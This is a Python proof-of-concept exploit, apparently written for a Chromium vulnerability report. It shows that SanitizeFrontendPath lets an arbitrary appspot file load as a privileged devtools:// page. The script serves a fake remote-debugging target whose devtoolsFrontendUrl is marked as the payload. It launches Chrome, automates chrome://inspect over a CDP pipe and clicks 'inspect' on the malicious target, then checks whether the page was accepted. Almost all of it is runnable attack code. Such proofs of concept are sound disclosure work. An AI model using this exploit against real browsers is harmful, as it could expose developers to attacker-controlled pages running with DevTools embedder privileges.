#!/usr/bin/env python3
"""
POC: SanitizeFrontendPath character-whitelist allows arbitrary appspot DevTools
entrypoints to load in the privileged devtools:// origin with embedder bindings.

This script:
  1. Runs a fake "remote debugging target" on 127.0.0.1:9555 that advertises a
     malicious devtoolsFrontendUrl pointing at an ARBITRARY filename under an
     ARBITRARY serve_rev/@<hash>/ on chrome-devtools-frontend.appspot.com.
  2. Launches the ASAN Chrome with --remote-debugging-targets=127.0.0.1:9555
     so the fake target is auto-discovered (same effect as the user adding it
     in chrome://inspect -> Configure).
  3. Drives chrome://inspect via the CDP pipe and clicks "inspect" on the
     malicious target -- exactly what a victim developer would do.
  4. Observes the newly created DevTools window URL via CDP and inspects
     Chrome's stderr.

PROOF CRITERIA (printed at the end):
  [PASS] A devtools://devtools/remote/serve_rev/@<hash>/<arbitrary>.html target
         is created -- SanitizeFrontendPath let the arbitrary path through.
  [PASS] Chrome stderr does NOT contain
         "Attempt to navigate to an invalid DevTools front-end URL"
         -- DevToolsUIBindings::IsValidFrontendURL returned TRUE, so
         frontend_host_ (full embedder bindings) was created for it.

For comparison, SanitizeRemoteFrontendURL would have coerced the filename to
inspector.html. The top-level path sanitizer does not.
"""

import http.server
import json
import os
import re
import select
import shutil
import signal
import socketserver
import subprocess
import sys
import tempfile
import threading
import time

# ---------------------------------------------------------------------------
# Config
# ---------------------------------------------------------------------------
FAKE_TARGET_PORT = 38555
CHROME = os.environ.get("CHROME", "/chromium/chromium/src/out/asan/chrome")

# The attacker-controlled values. Any [a-zA-Z0-9@._/-]+ passes the whitelist.
EVIL_HASH = "abc123deadbeef0000000000000000000000cafe"
EVIL_FILE = "evil_arbitrary_entrypoint.html"
EVIL_FRONTEND_URL = (
    f"https://chrome-devtools-frontend.appspot.com/"
    f"serve_rev/@{EVIL_HASH}/{EVIL_FILE}"
)

EXPECTED_DEVTOOLS_PREFIX = (
    f"devtools://devtools/remote/serve_rev/@{EVIL_HASH}/{EVIL_FILE}"
)

# ---------------------------------------------------------------------------
# 1) Fake remote-debugging target (what an attacker-controlled device serves)
# ---------------------------------------------------------------------------
class FakeTargetHandler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def _send_json(self, obj):
        body = json.dumps(obj).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Connection", "close")
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        path = self.path.split("?")[0]
        if path == "/json/version":
            # Omit "Browser" so browser_version stays empty -> no ?remoteVersion
            # contamination of the frontend URL (devtools_device_discovery.cc).
            self._send_json({})
        elif path == "/json" or path == "/json/list":
            self._send_json([{
                "id": "EVILTARGET",
                "type": "page",
                "title": "evil page",
                "url": "http://attacker.example/",
                "webSocketDebuggerUrl":
                    f"ws://127.0.0.1:{FAKE_TARGET_PORT}/devtools/page/EVILTARGET",
                # ---- THE PAYLOAD ----
                "devtoolsFrontendUrl": EVIL_FRONTEND_URL,
            }])
        else:
            self.send_response(404)
            self.send_header("Content-Length", "0")
            self.send_header("Connection", "close")
            self.end_headers()

    def log_message(self, fmt, *args):
        sys.stderr.write("[fake-target] " + (fmt % args) + "\n")


class ReusableTCPServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True


def start_fake_target():
    httpd = ReusableTCPServer(("127.0.0.1", FAKE_TARGET_PORT), FakeTargetHandler)
    t = threading.Thread(target=httpd.serve_forever, daemon=True)
    t.start()
    return httpd


# ---------------------------------------------------------------------------
# 2) CDP pipe driver (no websocket lib needed)
# ---------------------------------------------------------------------------
class CDPPipe:
    def __init__(self, write_fd, read_fd):
        self._w = write_fd
        self._r = read_fd
        self._buf = b""
        self._id = 0
        self._events = []

    def send(self, method, params=None, session_id=None):
        self._id += 1
        msg = {"id": self._id, "method": method, "params": params or {}}
        if session_id:
            msg["sessionId"] = session_id
        data = json.dumps(msg).encode() + b"\x00"
        os.write(self._w, data)
        return self._id

    def _read_one(self, timeout):
        deadline = time.time() + timeout
        while b"\x00" not in self._buf:
            remaining = deadline - time.time()
            if remaining <= 0:
                return None
            r, _, _ = select.select([self._r], [], [], remaining)
            if not r:
                return None
            chunk = os.read(self._r, 65536)
            if not chunk:
                return None
            self._buf += chunk
        raw, _, self._buf = self._buf.partition(b"\x00")
        return json.loads(raw)

    def wait_result(self, msg_id, timeout=20):
        deadline = time.time() + timeout
        while time.time() < deadline:
            m = self._read_one(deadline - time.time())
            if m is None:
                raise RuntimeError(f"timeout waiting for result id={msg_id}")
            if m.get("id") == msg_id:
                return m
            self._events.append(m)
        raise RuntimeError(f"timeout waiting for result id={msg_id}")

    def call(self, method, params=None, session_id=None, timeout=20):
        i = self.send(method, params, session_id)
        return self.wait_result(i, timeout)

    def drain_events(self, timeout=0.2):
        deadline = time.time() + timeout
        while time.time() < deadline:
            m = self._read_one(max(0.0, deadline - time.time()))
            if m is None:
                break
            self._events.append(m)
        out, self._events = self._events, []
        return out


# ---------------------------------------------------------------------------
# 3) Main
# ---------------------------------------------------------------------------
def main():
    print(f"[*] malicious devtoolsFrontendUrl = {EVIL_FRONTEND_URL}")
    print(f"[*] expected devtools:// path     = {EXPECTED_DEVTOOLS_PREFIX}")
    print()

    httpd = start_fake_target()
    profile = tempfile.mkdtemp(prefix="poc-profile-")

    # pipes for --remote-debugging-pipe: chrome reads fd 3, writes fd 4
    r3, w3 = os.pipe()   # we write -> chrome reads (fd 3)
    r4, w4 = os.pipe()   # chrome writes (fd 4) -> we read

    cmd = [
        CHROME,
        "--no-sandbox",
        "--headless=new",
        "--no-first-run",
        "--no-default-browser-check",
        "--disable-gpu",
        "--user-data-dir=" + profile,
        "--remote-debugging-targets=127.0.0.1:%d" % FAKE_TARGET_PORT,
        "--remote-debugging-pipe",
        "--enable-logging=stderr",
        "--v=0",
        "chrome://inspect/#devices",
    ]
    print("[*] launching:", " ".join(cmd))

    stderr_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                               "chrome-stderr.log")
    stderr_f = open(stderr_path, "wb")

    def child_setup():
        os.dup2(r3, 3)
        os.dup2(w4, 4)

    proc = subprocess.Popen(
        cmd,
        stdin=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
        stderr=stderr_f,
        close_fds=False,
        preexec_fn=child_setup,
    )
    os.close(r3)
    os.close(w4)
    time.sleep(0.5)
    if proc.poll() is not None:
        stderr_f.flush()
        with open(stderr_path, "r", errors="replace") as f:
            print("[!] chrome exited early (code=%r):\n%s" %
                  (proc.returncode, f.read()))
        raise SystemExit(1)

    cdp = CDPPipe(w3, r4)
    devtools_url = None
    try:
        cdp.call("Target.setDiscoverTargets", {"discover": True})

        # Find (or create) chrome://inspect tab
        inspect_target = None
        last_targets = []
        for attempt in range(40):
            res = cdp.call("Target.getTargets")
            last_targets = res.get("result", {}).get("targetInfos", [])
            for t in last_targets:
                if t.get("url", "").startswith("chrome://inspect"):
                    inspect_target = t
                    break
            if inspect_target:
                break
            if attempt == 4:
                # Headless may have ignored the start URL — open it explicitly.
                cdp.call("Target.createTarget",
                         {"url": "chrome://inspect/#devices"})
            time.sleep(0.5)
        if not inspect_target:
            print("[!] targets seen:", json.dumps(last_targets, indent=2))
            raise RuntimeError("chrome://inspect tab not found")
        print(f"[*] chrome://inspect target = {inspect_target['targetId']}")

        att = cdp.call("Target.attachToTarget",
                       {"targetId": inspect_target["targetId"], "flatten": True})
        sid = att["result"]["sessionId"]
        cdp.call("Runtime.enable", session_id=sid)

        # Wait until OUR fake remote target shows up, then click its 'inspect'.
        click_js = """
          (function() {
            var rows = document.querySelectorAll('#devices-list .row');
            for (var i = 0; i < rows.length; i++) {
              var txt = rows[i].textContent || '';
              if (txt.indexOf('attacker.example') === -1 &&
                  txt.indexOf('evil page') === -1) continue;
              var acts = rows[i].querySelectorAll('.action');
              for (var j = 0; j < acts.length; j++) {
                if (acts[j].textContent === 'inspect' &&
                    !acts[j].classList.contains('disabled')) {
                  acts[j].click();
                  return 'CLICKED';
                }
              }
            }
            return 'WAITING rows=' + rows.length;
          })();
        """
        clicked = False
        for _ in range(60):
            r = cdp.call("Runtime.evaluate",
                         {"expression": click_js, "returnByValue": True},
                         session_id=sid)
            val = r.get("result", {}).get("result", {}).get("value")
            if val == "CLICKED":
                print("[*] clicked 'inspect' on the malicious target")
                clicked = True
                break
            time.sleep(0.5)
        if not clicked:
            raise RuntimeError("inspect link never appeared in chrome://inspect")

        # Find the new devtools:// window
        for _ in range(40):
            for ev in cdp.drain_events(0.3):
                ti = ev.get("params", {}).get("targetInfo", {})
                u = ti.get("url", "")
                if u.startswith("devtools://"):
                    devtools_url = u
            if not devtools_url:
                res = cdp.call("Target.getTargets")
                for t in res.get("result", {}).get("targetInfos", []):
                    u = t.get("url", "")
                    if u.startswith("devtools://"):
                        devtools_url = u
            if devtools_url and EVIL_HASH in devtools_url:
                break
            time.sleep(0.5)

        # Give the navigation time to commit (data source proxies to appspot).
        time.sleep(15)
    finally:
        try:
            cdp.send("Browser.close")
            time.sleep(1)
        except Exception:
            pass
        proc.send_signal(signal.SIGTERM)
        try:
            proc.wait(10)
        except Exception:
            proc.kill()
        stderr_f.close()
        httpd.shutdown()
        shutil.rmtree(profile, ignore_errors=True)

    # ---- Evaluate ----
    print()
    print("=" * 72)
    print("RESULT")
    print("=" * 72)
    print(f"[+] DevTools window URL observed via CDP:")
    print(f"    {devtools_url}")

    with open(stderr_path, "r", errors="replace") as f:
        stderr_text = f.read()

    invalid = "Attempt to navigate to an invalid DevTools front-end URL" in stderr_text
    match = devtools_url and devtools_url.startswith(EXPECTED_DEVTOOLS_PREFIX)

    print()
    if match:
        print("[PASS] SanitizeFrontendPath accepted arbitrary "
              f"serve_rev/@{EVIL_HASH}/{EVIL_FILE}")
    else:
        print("[FAIL] devtools:// URL did not match expected arbitrary path")

    if invalid:
        print("[FAIL] IsValidFrontendURL REJECTED the URL (error in stderr)")
    else:
        print("[PASS] IsValidFrontendURL accepted it -> frontend_host_ created "
              "(no 'invalid DevTools front-end URL' error in stderr)")

    poc_lines = [l for l in stderr_text.splitlines()
                 if "POC:" in l or "front-end URL" in l]
    if poc_lines:
        print()
        print("Relevant chrome stderr lines:")
        for l in poc_lines:
            print("    " + l)

    print()
    print(f"(full chrome stderr saved to {stderr_path})")

    ok = bool(match and not invalid)
    sys.exit(0 if ok else 1)


if __name__ == "__main__":
    main()